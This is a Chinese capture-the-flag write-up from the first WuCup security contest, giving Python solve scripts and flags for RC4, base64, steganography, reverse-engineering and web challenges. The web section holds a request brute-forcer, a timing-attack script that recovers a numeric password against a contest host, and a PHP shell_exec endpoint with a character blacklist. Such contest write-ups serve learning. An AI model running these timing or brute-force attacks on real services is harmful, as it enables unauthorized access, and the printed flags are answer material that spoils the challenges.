第一届吾杯网络安全技能大赛
也是浅浅的混了个二等奖(●'◡'●)...
Crypto
easy
WuCup{55a0a84f86a6ad40006f014619577ad3}
get buf unsign s[256]
get buf t[256]
we have key:hello world
we have flag:????????????????????????????????
for i:0 to 256
set s[i]:i
for i:0 to 256
set t[i]:key[(i)mod(key.lenth)]
for i:0 to 256
set j:(j+s[i]+t[i])mod(256)
swap:s[i],s[j]
for m:0 to 37
set i:(i + 1)mod(256)
set j:(j + S[i])mod(256)
swap:s[i],s[j]
set x:(s[i] + (s[j]mod(256))mod(256))
set flag[m]:flag[m]^s[x]
fprint flagx to file
分析代码,发现是rc4加密,用python写个解密脚本
exp
def rc4_encrypt_decrypt(key, data):
s = [i for i in range(256)]
t = [ord(key[i % len(key)]) for i in range(256)]
j = 0
for i in range(256):
j = (j + s[i] + t[i]) % 256
s[i], s[j] = s[j], s[i]
i = 0
j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
x = (s[i] + s[j]) % 256
result.append(byte ^ s[x])
return bytes(result)
if __name__ == "__main__":
# 密钥和密文
key = "hello world"
ciphertext = bytes.fromhex(
"d8d2963e0d8ab8533d2a7fe296c5292339246eba0d292d5752578359322c3a77892dfa7261b84f"
)
# 解密
decrypted_flag = rc4_encrypt_decrypt(key, list(ciphertext))
print(f"Decrypted flag: {decrypted_flag.decode(errors='ignore')}")
#Decrypted flag: WuCup{55a0a84f86a6ad40006f014619577ad3}
Misc
旋转木马
WuCup{1eb900c0-a786-42fa-942c-f9a7c21dfedf}
两个附件打开都是一大段base64编码
发现flag1和flag2都只能解码一次,且flag2解码后结尾为=
将flag1和flag2进行base64解码,并拼接起来,再进行n次base64解码可以获得一段16进制,将其转为文本就是flag
exp
import base64
a = open(r"flag2").read()
c = open(r"flag1").read()
b = base64.b64decode(a)
d = base64.b64decode(c)
f = d + b
s = base64.b64decode(f)
while True:
try:
s = base64.b64decode(s)
except:
print(s)
break
print(bytes.fromhex(s.decode('utf-8')))
#b'WuCup{1eb900c0-a786-42fa-942c-f9a7c21dfedf}'
太极
WuCup{tieny-lieig-sieau-bunig-jieay}
根据提示,先将密文转为拼音
太极生两仪-两仪生四象-四象生八卦-八卦定吉凶-吉凶生大业
tài jí shēng liǎng yí - liǎng yí shēng sì xiàng - sì xiàng shēng bā guà - bā guà dìng jí xiōng - jí xiōng shēng dà yè
tieny-lieig-sieau-bunig-jieay
按12345来取对应位置的拼音
最终flag为WuCup{tieny-lieig-sieau-bunig-jieay}
Sign
WuCup{df357d47-31cb-42a8-aa0c-6430634ddf4a}
签到题没啥好说的
原神启动!
WuCup{0e49b776-b732-4242-b91c-8c513a1f12ce}
用StegSolve打开图片,在Red plane2处找到了key:WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a}
用key解压压缩包获得一个文档,打开,只有几个字但有很多换行,怀疑隐藏了,改变字体色号和背景色
在下面找到了这个,提交了发现不是flag,那估计又是一个key
将文档后缀改为zip,解压找到了另一个加密的压缩包和一张图片
尝试用刚刚那个key解压这个img.zip,发现不对,将目光看向那个图片,发现有浅浅的字,用StegSolve打开图片
随便按一下下面的按钮,那个看的清用那个,获得key:WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}
解压压缩包获得一个新的加密压缩包
估计就是第二个key,用第二个key解压获得:
Web
TimeCage
第一部分
<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_GET['input'])){
$guess = $_GET['input'];
$target = random_int(114 , 114 + date('s') * 100000);
if(intval($guess) === intval($target)){
echo "The next challenge in ".$key1;
}
else{
echo "Guess harder.";
}
}
解析:input要和生成的随机数相等
可当秒数为0时随机数就只能是114,但不知道服务器时间是否和本地一致,只能爆破
import requests
import time
url = "http://challenge.wucup.cn:43656/?input=114"
while True:
response = requests.get(url)
if "challenge in" in response.text:
print(response.text)
break
time.sleep(1)
运行结果:The next challenge in Trapping2147483647.php
第二部分
<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_POST['pass'])){
$pass = $_POST['pass'];
if(strlen($pass) != strlen($password)){
die("Wrong Length!");
}
$isMatch = true;
for($i = 0;$i < strlen($password); $i++){
if($pass[$i] != $password[$i]){
$isMatch = false;
break;
}
sleep(1);
}
if($isMatch){
echo "The final challenge in ".$key2;
}
else{
echo "Wrong Pass!";
}
}
//Only digital characters in the password.
解析:第一部分是校验密码长度,第二部分是对比密码,且每对比成功一位就延时一秒
直接脚本爆破
import requests
import time
url = "http://challenge.wucup.cn:43656/Trapping2147483647.php" # 替换为实际 URL
password_length = 0
password = ""
# 1. 确定密码长度
for i in range(1, 20): # 假设密码长度不会超过 20
data = {"pass": "0" * i} # 提交 i 个字符的密码
start = time.time()
response = requests.post(url, data=data)
end = time.time()
if "Wrong Length!" not in response.text:
password_length = i
print(f"Password length is {password_length}")
break
# 2. 逐字符猜测密码
for i in range(password_length):
for digit in range(10): # 只有数字字符 0-9
test_pass = password + str(digit) + "0" * (password_length - len(password) - 1)
data = {"pass": test_pass}
start = time.time()
response = requests.post(url, data=data)
end = time.time()
if end - start > i+1: # 响应时间大于 1 秒,说明匹配成功
password += str(digit)
print(f"Found character: {password}")
break
print(f"The password is: {password}")
print(response.text)
获得The final challenge in EscapeEsc@p3Escape.php
第三部分
<?php
if(isset($_POST['cmd'])){
$cmd = $_POST['cmd'];
$pattern = '/[\{\}\[\]\(\)&<>`\s\\\\]/';
if(preg_match($pattern,$cmd)){
die("Invalid Input!");
}
shell_exec($cmd);
}
else{
show_source(__FILE__);
}
//flag is in /flag
不会了呃呃呃
Sign
WuCup{f8ded972-6b31-4c65-8f6d-f5dd57fde3a9}
签到题,蚁剑直接连
Reverse
If you know
WuCup{1_10v3_y0u_d34r_1f_y0u_kn0w}
程序加了UPX壳,要脱壳
IDA打开,查看加密程序
用户输入的数据要包含WuCup,且最后一位要是},长度不能超过27
循环了27次,根据j的值来选择加密函数
fcn2
fcn1
两个函数相差不大,一个逆着来,一个顺着来,fcn3是对比用户输入的和flag是否相同
l的值就是flag,双击后按Shift+E提取出来
exp
def fcn000001_decrypt(a1, a2, a3):
for i in range(a3): # Iterate from 0 to a3-1
original_value = a1[i]
a1[i] = (original_value - (i + a2)) ^ i # Invert the operation
return a1
def fcn000002_decrypt(a1, a2, a3):
for i in range(a3-1, -1, -1): # Iterate from a3-1 down to 0
original_value = a1[i]
a1[i] = (original_value - (i + a2)) ^ i # Invert the operation
return a1
l_integers= [245, 512, 520, 495, 565, 628, 570, 630, 695, 774, 690, 787, 738, 815, 881, 1088, 824, 1001, 994, 950, 1031, 1086, 954, 1012, 1045, 1139, 1242]
ss =len(l_integers)
# 进行解密操作
for i in range(len(l_integers)-1,-1,-1):
if (i & 1) != 0:
fcn000002_decrypt(l_integers, i + 2, ss)
else:
fcn000001_decrypt(l_integers, i + 1, ss)
print(l_integers)
print("WuCup{",end="")
for i in l_integers:
if i < 0 :
i = i * -1
print(chr(i),end='')
print("}",end="")
#WuCup{?_10v3_y0u_d34r_1f_y0u_kn0w}
#第一位是乱码,根据flag格式猜测是1